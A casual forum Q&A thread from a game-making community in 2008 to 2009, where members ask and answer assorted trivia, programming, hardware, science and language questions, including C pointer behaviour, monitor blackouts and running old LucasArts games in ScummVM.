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Title: Ask something - We can help.
Post by: Stupot on 19 Dec 2008, 20:06
I have a question I want to ask but I didn't feel it was important enough to warrant it's own thread clogging up gen-gen.  So I thought I'd create this thread for all those niggling questions which pop up from time to time.

You know when you can remember parts of a film or a song but can't for the life of you remember the title?  Things like that.

So if you think about it in the future and have a niggling question which you don't feel deserves it's own thread (often the query is solved within the first few posts, anyway), then remember this thread lingering around waiting for your posers.  You guys are normally pretty good at these kinds of question.

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So anyway.  Here's my question.

Back when the net was young, you would type in some random website names such as "www.ilovepizza.com" or "www.rhubarbandcustard.co.uk" and it would take you so a website who provided free email addresses based on hundreds and hundreds of such domain names...  I'm assuming they bought the domain names first and then dished out the corresponding email addresses for users... for example I could request "stupot@ilovepizza.com"

I can't remember what the actual website was called, I used to just type in random URLs and i'd eventualy find it...  But this was 10 or so years ago and I havent seen this website for ages...

Can anyone else remember the site that I am thinking of and does it still exist?
If not, what happened to the hundreds of URLs they owened?

cheers
Title: Re: Ask something - We can help.
Post by: RickJ on 20 Dec 2008, 04:41
There's always the wayback machine : http://web.archive.org/collections/web.html
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 20 Dec 2008, 14:52
Ok, a question that has bothered me for a while.

In C, when you set a pointer to point to an unknown memory slot (either by adding to it or simply setting a number to it), is there any possibility to cause a segmentation fault or any problem at all?

Note I'm talking about pointing somewhere, but not reading/writing over there.

I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.
Title: Re: Ask something - We can help.
Post by: Ghost on 20 Dec 2008, 15:22
I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.

What you describe is the equivalent of leaving a loaded shotgun lying around. As long as you're alone in the room, nothing will happen because you know that shotguns are harmful things. But as soon as people come in, one of them *will* shoot himself in the foot(*).
You can get errors by using a pointer that way, and also memory leaks and all sorts of other nasty stuff, but you yourself know about that and will be careful. Others using your code will not. And since there is the common saying that code should always be fool-proof, I understand your professor's concerns.  ;)

(*) Heaven knows I always do that ;)
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 20 Dec 2008, 15:55
well, basically, we were having an example on how to use pointers instead of arrays.
Code: Adventure Game Studio
  1. //p is a pointer
  2. for (i=0; i<MAX; i++)
  3. {
  4.     *p++ = i;
  5. }
I know it's convenient to just say p[i ]=i, but this is for the sake of an example. Note that p is never used again after this code. This shouldn't ever produce a segmentation fault, right? Even though, when the loop ends, the pointer points to a place we don't know... But my professor insists that the above code might cause a segmentation fault.
Title: Re: Ask something - We can help.
Post by: Ghost on 20 Dec 2008, 22:46
But my professor insists that the above code might cause a segmentation fault.

I'm not rock-steady on the whole pointer issue, but as long as he says MIGHT, he's right. Because at the end of the loop, the pointer could point anywhere, even to a segment of memory another bit of your code is already using. That's where a violation might happen, though the chance is small, and grows smaller the more RAM you have.

Title: Re: Ask something - We can help.
Post by: Paper Carnival on 21 Dec 2008, 01:47
Sorry for taking over the thread, but...

I'm not convinced. Every variable, including pointers, has a value when declared (which is what was left in the memory from other programs). Pointers having a "random" value when declared never generated any problems. So why now?

My other professor says that the above code never produces a segmentation fault. As long as you don't access that memory slot in any way (either read or write over it), it's all good.

Another opinion I heard is that it can only produce an error in some operation systems but not all.

I know it's pointless knowing anyway, because nobody would even want to have stray pointers, but it has been bugging me a lot :P
Title: Re: Ask something - We can help.
Post by: LimpingFish on 21 Dec 2008, 02:03
How do they get the figs into the Fig Rolls? :-\
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Title: Re: Ask something - We can help.
Post by: bicilotti on 21 Dec 2008, 13:06
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Next Question:
What are the... err, uhh... qualifying, requisite required requirements for an AGS game's eligibility for the 2008 AGS awards? I realize that I'm an idiot for asking, and that's why I'm asking here instead of somewhere else. (Not that anything with me on board is worth the sand in Nelly's sock heels. Just seeking deadline motivation, is all.)

Put it in the big database before 1st Jan 2009 and you're in!
Title: Re: Ask something - We can help.
Post by: RickJ on 21 Dec 2008, 15:55
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I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.
@Paper Carnival:  Your professor is wrong.  A "segmentation fault" is a hardware interrupt generated in response to a memory read/write to an address outside of a range specified by a register or RAM table of some sort.  The setting of a pointer variable to a value will cause a memory write to the address of the pointer variable but not to the address which it contains.   Read and write signals to the pointer's address are not issued until memory at that address is accessed.  Since there is no memory access there will be no interrupt and hence no segmentation fault.  This is all done in hardware so the operating system is irrelevant.   It's entirely possible to have a software segmentation fault checker but the overhead would be extremely high and I have never heard of it being done.

I agree with you that this should never be a problem and I'll give a couple of good reasons why.  First of all let us assume that we have an application that contains some code similar to the one you give.  Further let us assume that this is application is a closed loop controls system controlling the flying surfaces on a 757 Jumbo Jet.  And just to make things interesting let us also assume your professor is a passenger on the same plane flying at 35000 ft.

1.  Fault response - How should our application respond to a segmentation fault of the variety that you describe (i.e. the application is otherwise operating normally and will continue to do so if the fault is ignored)?  There are two obvious choices; abort the application or ignore the fault.  In this instance I believe your professor would prefer the control system ignore inconsequential segmentation faults be ignored rather
plunge to his death.   What about other applications?  Can you name any application where it is better to crash than to continue running normally?  So if the only reasonable response to a fault condition is to ignore it then what purpose does it serve to detect it.

2. Reliability/Maintainability - No suppose our application is very mature.  It has been in use on thousands of aircraft for over a decade.   With millions of total hours of operation our application has proven to be stable and reliable.     Now suppose that a single line of trivial code, unrelated to the pointer in question, is added and the application is recompiled.  What if over all these years that last p++ left p just a byte shy of the segment boundary and the new code pushed it just one byte past.    This is a horrible situation - In a complex application it could be a long time before such a bug finally revealed itself.  In this kind of situation any kind of changes made to the application, regardless of how small or trivial, would incur huge and unacceptable risks.

3. Redundant-Convoluted Code - In the scenario you give in the example the pointer value would have to be tested before incrementing it.   So either there must be a redundant if statement (there is already a p<MAX test) before incrementing the pointer or the loop must be restructured in a less obvious and understandable way (which would also likely involve redundant code in one way or another.   No useful purpose is served by requiring redundant and/or convoluted code.  In my opinion redundant, convoluted code fits Ghost's description of "...leaving a loaded shotgun lying around...." much better than a pointer containing an invalid address.

4. Runtime vs Compile Error - If the compiler were able to pick this up then it could be argued that knowing that a pointer contained an invalid address could be useful in some cases.   However this is not the case; segment faults occur at runtime and may not occur until long after the application has been released and in the field.
Title: Re: Ask something - We can help.
Post by: InCreator on 22 Dec 2008, 05:22
My unanswered mystery of all time:

Is nerve impulse physical? I mean, is it an electric, bioelectric, anything material we could capture or transfer?
If so, can we redirect nerve impulse into something else? Like a wire? Third string of nerves, like animal ones?
I know that if you lose a finger, it can be sewn back and nerves too. So, it's likely. Why havent anyone then thought about...

-- Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(
Title: Re: Ask something - We can help.
Post by: Ghost on 22 Dec 2008, 13:22
Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Weird thought, but I can see that this should be possible. All a matter of finding the right nerves and connect those- but it would require a physical connection, wouldn't it? So you'd need to sew these people together somewhere, which has a very Hellraiser touch to it.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 22 Dec 2008, 13:47
Thank you RickJ for clearing that up. My professor is often wrong with details like this, but at least the man knows how to teach. It's only my first semester in university and I'm glad I can understand when he's wrong (it's not the first time).

InCreator: I suppose it is possible, but still freaky. And Ghost, I don't think it would require a physical connection, both people could have some kind of transmitter/receiver that picks up the nerve signal and convert it to something else and vice-versa, like a modem works. I'm next to clueless with this stuff, so correct me if I'm wrong.

Oh, the transmitter/receiver idea would make the concept of a voodoo doll possible :D.
Title: Re: Ask something - We can help.
Post by: InCreator on 22 Dec 2008, 16:11
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Oh, the transmitter/receiver idea would make the concept of a voodoo doll possible

Man, think BIG! Think gaming!!!!

A wireless spinal impulse controller! Like play Crysis and actually feel tropical breeze on your face, taste salt water and smell gunpowder... whoah! And coming back to porn... eh
Title: Re: Ask something - We can help.
Post by: Babar on 22 Dec 2008, 16:12
I think I know how this movie ends...
The villain overloads the circuits, and kills everyone in real-life that he kills in VR. And then the hero comes and busts everything up.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 22 Dec 2008, 16:18
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Oh, the transmitter/receiver idea would make the concept of a voodoo doll possible

Man, think BIG! Think gaming!!!!

A wireless spinal impulse controller! Like play Crysis and actually feel tropical breeze on your face, taste salt water and smell gunpowder... whoah! And coming back to porn... eh

That's like... The Matrix.

But now you mention it, wasn't there some kind of experimental microchip they put on someone's brain, and he then was able to kinda move the mouse pointer with his mind ???
Title: Re: Ask something - We can help.
Post by: Stupot on 22 Dec 2008, 16:34
There's always the wayback machine : http://web.archive.org/collections/web.html

Thanks Rick... I spent a while on that typing in the kinds of domain names the site would have used, but I'm not getting any results... does anyone else remember what I'm talking about [Re: first post] ?
Title: Re: Ask something - We can help.
Post by: Joseph DiPerla on 22 Dec 2008, 19:19
I am looking for a c++ pathfinding library that is supported on atleast windows, mac and linux. Is there any out there that can work just by loading an image as a mask and making that be a pathfinding area? Basically the way any other engine works, just as a c++ library.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 24 Dec 2008, 04:59
Someone here in this thread had mentioned something about someone making around 100 games a year, for some kind of competition or for school perhaps?  But the guys ended up not finishing them.

I've been trying to find the thread that someone had made mention of this.  They also supplied a URL to this persons website.  I'm trying to find that website.
I had bookmarked it back in the day, but I formatted not too long ago and it's gone.  I kept meaning to take a good look at the website and games.
Title: Re: Ask something - We can help.
Post by: bicilotti on 24 Dec 2008, 09:11
Someone here in this thread had mentioned something about someone making around 100 games a year, for some kind of competition or for school perhaps?  But the guys ended up not finishing them.

mhhhhhhh, not really games ( but game mechanics), maybe it is this

http://www.squidi.net/three/thumbs.php?set=1
Title: Re: Ask something - We can help.
Post by: Stupot on 24 Dec 2008, 13:48
No one human can make 100 games in a year.  Not half decent ones anyway, and not without recycling the material over and over again... in which case it's 100 parts of one game.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 24 Dec 2008, 16:22
Thanks Bici.
Damn this thread IS useful. :P
Title: Re: Ask something - We can help.
Post by: Stupot on 24 Dec 2008, 16:38
Damn this thread IS useful. :P

Nobody's given me an answer to my original question yet :-(
Somebody else must remember, surely?
Title: Re: Ask something - We can help.
Post by: limeTree on 24 Dec 2008, 16:43
My unanswered mystery of all time:

Is nerve impulse physical? I mean, is it an electric, bioelectric, anything material we could capture or transfer?
If so, can we redirect nerve impulse into something else? Like a wire? Third string of nerves, like animal ones?
I know that if you lose a finger, it can be sewn back and nerves too. So, it's likely. Why havent anyone then thought about...

-- Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(

it is a chemical process,every cell i think has i think its positive and negative side(electrodes) it is the same one used as electricity but it is so small that even if we could capture i think there would be no great help of that
Title: Re: Ask something - We can help.
Post by: Oliwerko on 25 Dec 2008, 22:51
Ok, I would like to know why does the ground cool first in the evening before the air does and respectively, why does the ground warm first in the morning, then the air.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 26 Dec 2008, 05:11
Ok, I would like to know why does the ground cool first in the evening before the air does
For the same reason the ground warms first in the morning before the air does.

and respectively, why does the ground warm first in the morning, then the air.
For the same reason the ground cools first in the evening before the air does.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 26 Dec 2008, 10:12
Oh, shame on me, shame on me, how dumb I am!  :-[

....but really why?
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 27 Dec 2008, 23:45
AGS Related:

Why does CTRL+V display version information (while game is playing) even though I disabled the code:
Code: Adventure Game Studio
  1. if (keycode==22) Debug(1,0); // Ctrl-V, version
  2.  

Only curious.
Title: Re: Ask something - We can help.
Post by: MrColossal on 28 Dec 2008, 00:39
Ok, I would like to know why does the ground cool first in the evening before the air does and respectively, why does the ground warm first in the morning, then the air.

without doing any research into the matter I would guess that the ground retains the heat of the day and lets it off into the air at night which keeps the air warm but the ground gets cooler as it releases it's heat?

Maybe? I dunno?
Title: Re: Ask something - We can help.
Post by: Oliwerko on 28 Dec 2008, 01:05
That would be possible, but in reverse? It works in both ways, so air should be then capable of transferring the heat to the ground, which is practically the opposite (?) I don't know.
Title: Re: Ask something - We can help.
Post by: MrColossal on 28 Dec 2008, 03:12
Air wouldn't hold heat as well as something solid like rock. So the rock gives the heat off at night and then absorbs it in the day while the heat is just dissipating in the air and not being absorbed, I don't know.

I love all the I don't knows!
Title: Re: Ask something - We can help.
Post by: Paper Carnival on 28 Dec 2008, 05:14
Different materials have different heat transfer rate. Try, during day, to touch a stone and then on a piece of iron that were both laid out in broad sunlight, in the same place. Both materials have the same temperature, but iron can transfer heat to your hand at a much faster rate, therefore giving you the illusion that it's hotter.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 28 Dec 2008, 10:11
A-ha. So in the evening the ground transfers its heat to the air and thus cools first while in the morning it heats up first and then transfers the heat to the colder air. That makes sense.

So the whole thing can be about the fact that ground is giving away/absorbing heat much more rapidly than air?
Title: Re: Ask something - We can help.
Post by: monkey0506 on 28 Dec 2008, 16:35
So my newest roommate gave me a computer which I've been greatly enjoying. However there is one slight problem that's been bugging me. On a seemingly random basis, the entire screen just goes black for a second or two.

The monitor he's given me is quite old...so I think it may just be dying of antiquity. However I'm not entirely certain the drivers that Microsoft has installed are exactly right either. I tried installing graphics drivers and the problem persisted...but the bottom line is that drivers are a lot cheaper (FREE*) than a new monitor.

Also I wouldn't want to go and buy a new monitor just to keep having the same problem if it's not the hardware. :-\
Title: Re: Ask something - We can help.
Post by: Babar on 28 Dec 2008, 16:44
I have also been having the same problem: I got a new PC, but am using an old monitor (that has been on the top of a shelf collecting dust for some time now). Recently it has started having a similar problem. Every once in a while, it gives this weird *click* noise, goes off for half a second, then comes back on. When it happens, it happens in clusters...like it may happen 10 times in 5 minutes, then the entire day (like today), it has no problem at all.
Title: Re: Ask something - We can help.
Post by: monkey0506 on 28 Dec 2008, 16:51
I'm really leaning towards hardware...but it's using a generic driver determined by M$ at the moment....so I have my doubts. 8)

But yes, that's it precisely...sometimes it happens multiple times in a row all at once, other times it won't happen for a while...just kind of sporadically.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 28 Dec 2008, 19:53
Bad drivers usually give you only weird graphic artifacts in games. I would say this is not a driver problem and I would bet that the monitor's faulty. But to be certain, I would borrow a monitor if possible, to try out if the problem persists.
Title: Re: Ask something - We can help.
Post by: Gilbert on 29 Dec 2008, 07:41
In fact, as lots of hardware behaviour can now be controlled with software configurations, so sometimes graphics driver can affect the card and even the monitor.

For monitors blacking out it's possible that the driver set to a mode that the monitor cannot handle (invalid resolutions or refresh rates) for some split seconds.

I remembered someone discussing one previous Nvidia official driver version can in fact cause permanent damage to the graphic card (as you can control overclocking, etc. hardware features with software) due to overheating of the chip. It's also not surprising that faulty drivers may damage a monitor (especially analog CRTs) by outputting "bad" signals.

I agree that for safety you may try testing with another display first. If the problem persists try upgrading (or downgrading) the drivers and see if it makes a difference.
Title: Re: Ask something - We can help.
Post by: RickJ on 29 Dec 2008, 16:52
@Babar:  The monitor in question is a CRT is it not?  If so the clicking sound you hear may be the high voltage electrode arcing across the outside of the picture tube.  This can usually be corrected by just cleaning the outside of the tube around the high voltage electrode with glass cleaner soap and water.  Use something that does not leave a residue.     

@monkey:  This could also be your problem but you made no mention of the tell tale arcing  sound.  It could also be that the high voltage electronics are failing, in which case you will need to replace the monitor.
Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 29 Dec 2008, 18:24
Many years back we had a CRT monitor that would black out randomly whenever you wobbled the desk lightly.
I believe it was the connection on either the power cable or the VGA cable that was wiggling loose from the inner parts of the monitor itself.  I imagine it would have required some soldering, but we ended up getting a replacement anyway.
Title: Re: Ask something - We can help.
Post by: Houchin1012 on 30 Dec 2008, 03:57
Here's my question:

What is a good example of a difference between real love and infatuation?
Title: Re: Ask something - We can help.
Post by: MrColossal on 30 Dec 2008, 05:02
An infatuation is something that is fleeting, transient. Real love is usually defined by humans to mean something that doesn't go away.

As I understand it
Title: Re: Ask something - We can help.
Post by: MillsJROSS on 30 Dec 2008, 05:15
An good example of said infatuation is that girl you masturbate to in the bushes. A good example of love is your significant other pretending to be the girl who you masturbated to in the bushes.

It's a subtle difference, but it's there.

-MillsJROSS
Title: Re: Ask something - We can help.
Post by: MrColossal on 30 Dec 2008, 05:44
Oh by the way, Mills, those new shades you got as a present for the holidays are pretty and all but can you leave them open when you get out of a shower... Kinda putting a damper on my infatuation...
Title: Re: Ask something - We can help.
Post by: Shane 'ProgZmax' Stevens on 30 Dec 2008, 11:20
I've always wanted to know...

What exactly is your avatar holding, MrColossal?
Title: Re: Ask something - We can help.
Post by: Oliwerko on 30 Dec 2008, 11:28
A toy horse, I guess?
I have definitely seen an original photo, this is just a pixel interpretation of it.
Title: Re: Ask something - We can help.
Post by: Stupot on 30 Dec 2008, 11:46
Is it a second-hand sanitry towel?
Title: Re: Ask something - We can help.
Post by: Ghost on 30 Dec 2008, 11:52
What exactly is your avatar holding, MrColossal?

A sandwich, isn't it?
Title: Re: Ask something - We can help.
Post by: Stupot on 08 Jan 2009, 17:15
If the System requirements for a game say 'Pentium III' surely that doesn't mean that ONLY an exact Pentium III processor will run the game.  Short of buying the game and trying my luck, how do I know if the 'Pentium Dual T2370 1.73GHz' processor on my laptop is going to run the game?

Title: Re: Ask something - We can help.
Post by: monkey0506 on 08 Jan 2009, 17:58
If the system requirements show a Pentium III (http://en.wikipedia.org/wiki/Pentium_III), they mean, "Pentium III processor or equivalent."

According to Wikipedia's article the maximum clocking speed of any Pentium III processor would be 1.4 GHz. Also this site (http://www.cpubenchmark.net/cpu_list.php) grades your CPU much higher than the Pentium III.

I'm not familiar with the exact processor you're using, but I'd say that as far as your CPU goes, you should be fine. Other factors would include your graphics card and RAM. Note that just because it meets the "System Requirements" listed doesn't strictly mean it will work either. You could be running 1 GB of RAM but if you're running a media player, Windows, MSN, etc, etc, etc...basically you would also need to consider how much of your system's resources are already allotted to your normal functions (those which you would run during gameplay).
Title: Re: Ask something - We can help.
Post by: LimpingFish on 08 Jan 2009, 19:30
I want to know if Stupot is the same Stupot who sometimes has messages posted on Channel 4's "GameCentral" teletext service? :D
Title: Re: Ask something - We can help.
Post by: Oliwerko on 09 Jan 2009, 13:24
Stu - from my experience, I was sometimes really, I mean REALLY surprised, what my old 1Ghz Athlon, GeForce2 MX400 and 256MB of ram could handle. And, the other way around, it couldn't run some games I was convinced it should. Anyway, the minimum reqs that are shown are usually over-estimated a bit. But sometimes also underestimated.

My advice - always try a demo. After a few experiences and surprises, I don't believe the reqs anymore.
Title: Re: Ask something - We can help.
Post by: Stupot on 09 Jan 2009, 13:50
Thanks guys.
It's nice to learn that my processor might just be able to cope with at least some games.
I'll try and get into the habit of finding demos before I buy games... it's the logical thing to do really, and can save good money.

LimpingFish - I haven't posted on teletext for about 8 years, haha.
Title: Re: Ask something - We can help.
Post by: Stupot on 10 Jan 2009, 17:21
New question -
I want to play DotT on my Vista, but it says 'This system does not support full-screen mode' and won't let me continue.

Is there a way around this, by any chance?
Title: Re: Ask something - We can help.
Post by: Gilbert on 10 Jan 2009, 18:06
Use DosBox, or ScummVM?
Title: Re: Ask something - We can help.
Post by: Trent R on 10 Jan 2009, 20:47
I recently played DOTT on my Vista laptop using ScummVM, and it worked just fine.


~Trent
Title: Re: Ask something - We can help.
Post by: Stupot on 10 Jan 2009, 22:13
Yeh... sorry... don't mind me... every time I play an old Lucasarts game on a different computer I forget about ScummVM... I think last time it was the sound on Sam and Max... and the solution was the same. (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29782.msg380169#msg380169)  Thanks guys.

[EDIT]
Actually I still have a problem.
ScummVM will let me play Maniac Mansion because it runs straight off the Disc, but to play DotT, I have to install it on my computer first, and that's where the problem seems to be.  It won't let me get that far. Can you remember what you did to get it working Trent?
Title: Re: Ask something - We can help.
Post by: Mantra of Doom on 11 Jan 2009, 04:20
All you  need to do is to copy these files off of the CD and put them in a folder on your hard drive
    * MONSTER.SOU
    * TENTACLE.000
    * TENTACLE.001

Title: Re: Ask something - We can help.
Post by: Dualnames on 14 Jan 2009, 14:24
Ask something eh..?
Ok, can anyone tell me where to get a midi version(not the chorus, the full song) of the Journey of the Sorcerer ORIGINAL(there's a remix of the hitchhiker's theme which I don't want)?
Title: Re: Ask something - We can help.
Post by: Raider on 14 Jan 2009, 23:55
Not sure if this is the one but:

http://download-sheet-music-online.com/eagles.html

Don't get excited, you have to pay...
Title: Re: Ask something - We can help.
Post by: Dualnames on 16 Jan 2009, 09:43
Great.. something I can afford to with 0$
Title: Re: Ask something - We can help.
Post by: Stupot on 12 Feb 2009, 23:37
Could anyone from the UK answer this question for me?
Feel free to answer it if you are from elsewhere but I'm particularly interested in UK results...  it's for a Linguistics exercise.

What word do you use for carbonated soft drinks?

Some people say 'soda', 'pop', or 'fizzy drinks'.
What term do you use? Is it something else entirely?

I'm plotting the results on a map of the UK so could you also please say which county or city you are from.
Thanks in advance guys. :)
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Post by: miguel on 12 Feb 2009, 23:47
(http://i293.photobucket.com/albums/mm54/miguel20000/SodaCan.png)

We get this in Portugal but I don't think that's what you wanted to know, Stu.
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Post by: Domino on 13 Feb 2009, 01:03
I use POP

I am from New York State, USA
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Post by: Babar on 13 Feb 2009, 07:29
'Cold drinks'. Or 'Soft Drinks' sometimes. 'Soda' I use for club soda/tonic water.
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Post by: InCreator on 13 Feb 2009, 08:21
A question:

What is the difference between normal maps and bump maps?

I know that normalmap uses 3 channels color instead of grayscale (bump map).
But does it make difference visually? Is normalmapped brick wall better than bumpmapped? Is rendering faster?

Another one:

How do cubemaps work?

I know that cubemap entities should be placed near reflective (cubemap using) materials. But why? What does entity do? Does it "photograph" surroundings and project reflections onto material? Or what? (I know that this wide topic and methods may vary, but I mean "classical" cubemapping (entity + materials), like Source engine does)
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Post by: Buckethead on 13 Feb 2009, 10:05
Bump and normal maps...

I made you a little image
(http://g.imagehost.org/0159/bumpnormal.jpg)

Not sure if it's clear so I'll try to explain.

Bump maps can only define depth with 2 things. It's either lower or higher. Usually pure white is the highest point and pure black the lowest.

Normal maps can define depth from more sides.

I hope that makes sense lol.

Cubemaps...

Cubemap entities are appearently used in Source to give materials (especially refections) a more proper specularity.

I wonder why there isn't just a Specular channel. Oh well not every engine is as cool as Unreal engine  :=



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Post by: zabnat on 13 Feb 2009, 10:53
What word do you use for carbonated soft drinks?
Limu, limppa or limppari.
And I'm not from UK. ;D
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Post by: paolo on 13 Feb 2009, 13:13
An good example of said infatuation is that girl you masturbate to in the bushes. A good example of love is your significant other pretending to be the girl who you masturbated to in the bushes.

It's a subtle difference, but it's there.

-MillsJROSS

You and Mr Boon (http://en.wikipedia.org/wiki/Mills_%26_Boon) write such romantic stuff...

@Stupot: I would say most people say "fizzy drinks" here in London in the UK. Or if you are in the industry that makes them, "carbonated drinks".

@Buckethead: Isn't a normal map just a representation of the actual normals of a surface, while a bump map is a modification of a normal map in order to simulate texture by changing the results the lighting model gives when applied to the surface?

My question, and it's a two-parter:

a. Why do cyclists' magazines claim that it is safer for a cyclist to go through a red light than to wait? If you're waiting alongside a juggernaut that's about to turn in front of you, then yes, you are in a dangerous spot, but getting hit side-on from traffic crossing your path is just as dangerous, surely?

b. Why do so many cyclists (not all cyclists - I don't want to generalise) in the UK think it's OK to cycle on the pavement (the sidewalk) or to go the wrong way up a one-way street? Do their magazines tell them to do that too? If it's because they think the road is too dangerous, then why cycle at all?

OK, rant over.
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Post by: InCreator on 13 Feb 2009, 17:23
a. Why do cyclists' magazines claim that it is safer for a cyclist to go through a red light than to wait? If you're waiting alongside a juggernaut that's about to turn in front of you, then yes, you are in a dangerous spot, but getting hit side-on from traffic crossing your path is just as dangerous, surely?

Huh? By our traffic laws a driver does not have to stop car if bicyclist rides when it's red light. Also, no need to stop if bicyclist rides on a crossing without lights (such as single zebra). When he walks and the cycle is with him, car must stop. When he's on the bike, he's not considered pedestrian and must obey same traffic laws as cars.

It was quite strange when a bicyclist rode over crossing and my driving instructor told me not to slow down.

But I think that suggestion means that if you cross on bike, it's probably safer to maintain speed than stop and try to start gathering speed while on crossing. I've fallen badly off the bike in the center of intersection and stoplights for cars turned green... it was quite terrifying. Exactly because I could not achieve enough speed to balance bike and rode down a walkway curb, which made bike bump and me fall.

That's just a theory though.
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Post by: Revan on 04 Mar 2009, 07:26
Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(

Well if you live in the UK there is a place you can txt with any question and leave them to search the internet for an answer. There is a huge team of them. (Plus it is likely that some one has already asked your question and they have an answer.) It costs £1 tho, so make sure its a good question.

I have used them a number of times, if i have needed an answer and have been away from an internet connection. or if I can't find the answer online. They usualy txt back within 30 mins. (Max i have waited was about 2 hours)

The company is called AQA (Any Question Answered) and the number to txt is : 63336

Hope this helps anyone...


@Stupot:   I live just north of Manchester and pretty much all of the people i know call them Cans   
eg:  "Hi, would you like a Can of <insert generic drink> ?"
But at the same time we do not refer to the generic drink as anything other than its brand name or 'Can'
eg:  "Could you pass us a can out of the fridge"

Hope this helps...

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Post by: Trent R on 04 Mar 2009, 08:00
Revan, that reminds me of ChaCha (http://www.chacha.com/), a US based texting service that does the same thing. Cool thing is that it's free, except for whatever charges your carrier has.


~Trent
PS-Oooh, just found out they allow calling too!
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Post by: Oliwerko on 05 Mar 2009, 06:24
I want to ask if possesion or usage of surveillance equipment like wireless microphones, phone bugs or even abusive devices like nausea-causing transmitters is illegal. Or does it vary from country to country? I was always fascinated with eavesdropping and today I ask myself, if it's illegal to posess such equipment...

Thanks for pointers, law-guys !  ;)
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Post by: Babar on 09 Apr 2009, 15:04
I have use for this thread, so I dredged it up!

I'm trying to remember the title of this movie I saw, and I'd google it, but I wouldn't know which words to use to search for it.

I think it was some sort of TV-movie or TV-miniseries or something, because I remember watching it on TV over a period of a few weeks. It was a cowboy western, and involved a teenager kid who dressed in black and did remarkably violent things (clichéd, right? :D). I specifically remember his walking ominously into someone's house (or out of it?) with a hangman's rope. It also had this "old adventurer past his prime" character who had to have his leg chopped off at some point in the movie.

Sorry I couldn't be any more specific. If someone knows of it, I'd appreciate telling me!
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Post by: Dualnames on 09 Apr 2009, 15:41
Was the kid, DiCaprio?
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Post by: Babar on 09 Apr 2009, 15:56
I...don't think so. Are you talking about "The Quick and the Dead"? Because DiCaprio doesn't seem to be a villainous character in that, and it only seems to be 107 minutes long.
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Post by: Stupot on 09 Apr 2009, 16:11
The only Western miniseries that springs to my mind is 'Into the West' (http://www.imdb.com/title/tt0409572/), but I haven't seen it so I wouldn't know if this matches what you're talking about.

When did you see it, and is it an old thing or relatively recent?
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Post by: Babar on 09 Apr 2009, 18:41
I saw it some time between 1999 and 2003, I think. It was a colour movie, seemed on of those "good quality" colour movies (ie. made at least in the 80s or later).
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Post by: Stupot on 12 Apr 2009, 13:23
Did you find your answer Babs?
Any more clues or details you can think of?

I've got one... can anyone remember the name of the talking robot from Hollyoaks a number of years ago?
No-one seems to know what I'm talking about, but I know I'm not making it up.
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Post by: Babar on 12 Apr 2009, 15:44
Nope, still don't know :(.
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Post by: Stee on 15 Apr 2009, 02:51
Could anyone from the UK answer this question for me?
Feel free to answer it if you are from elsewhere but I'm particularly interested in UK results...  it's for a Linguistics exercise.

What word do you use for carbonated soft drinks?

Some people say 'soda', 'pop', or 'fizzy drinks'.
What term do you use? Is it something else entirely?

I'm plotting the results on a map of the UK so could you also please say which county or city you are from.
Thanks in advance guys. :)

im from the wirral (NW) uk. And the term I use is BEER. Although we used to say pop when we were kids and drank lemonade/orangeade etc.

Coke is coke.

Soda is different. Its an american equivalent to pop, but it has far more sugar, caffeine and other "you're going to die before you reach puberty" ingredients.  ;D
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Post by: cat on 15 Apr 2009, 11:43
Question

I've already asked that on leo.org but didn't get any satisfying answer:

What do you call a booth at the fair where you shoot balls at empty cans and get prizes?
Does this game even exist in English-speaking countries?

The German word for this is "Dosenschießen".
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Post by: Stupot on 15 Apr 2009, 13:02
Hey Cat.
Not sure about everyone else, but I'm pretty sure I used to refer to it as the 'shooting range'.  I'm in UK if that's relevant.
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Post by: cat on 15 Apr 2009, 13:14
Ah, I used google image search with 'shooting range' but this is not quite the thing I am looking for. The thing I want to know is some kind of children's game where you throw balls at a pyramid of cans and try to crash it.

Edit: Oh well, seems this game only exists in German speaking areas. http://en.wikipedia.org/wiki/Coconut_shy#Other%20countries (http://en.wikipedia.org/wiki/Coconut_shy#Other%20countries)
Damn, this was part of a major puzzle in my game, now I have to find something different.
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Post by: GarageGothic on 15 Apr 2009, 13:42
If you google for "tin can alley", you'll see that's a fairly common term for this kind of game.
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Post by: Ghost on 15 Apr 2009, 13:44
No no, such a booth can be found at many American fairs too, it's called Tin Can Alley.

edit:
Almost beat you, Garage!  ;D
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Post by: cat on 15 Apr 2009, 18:58
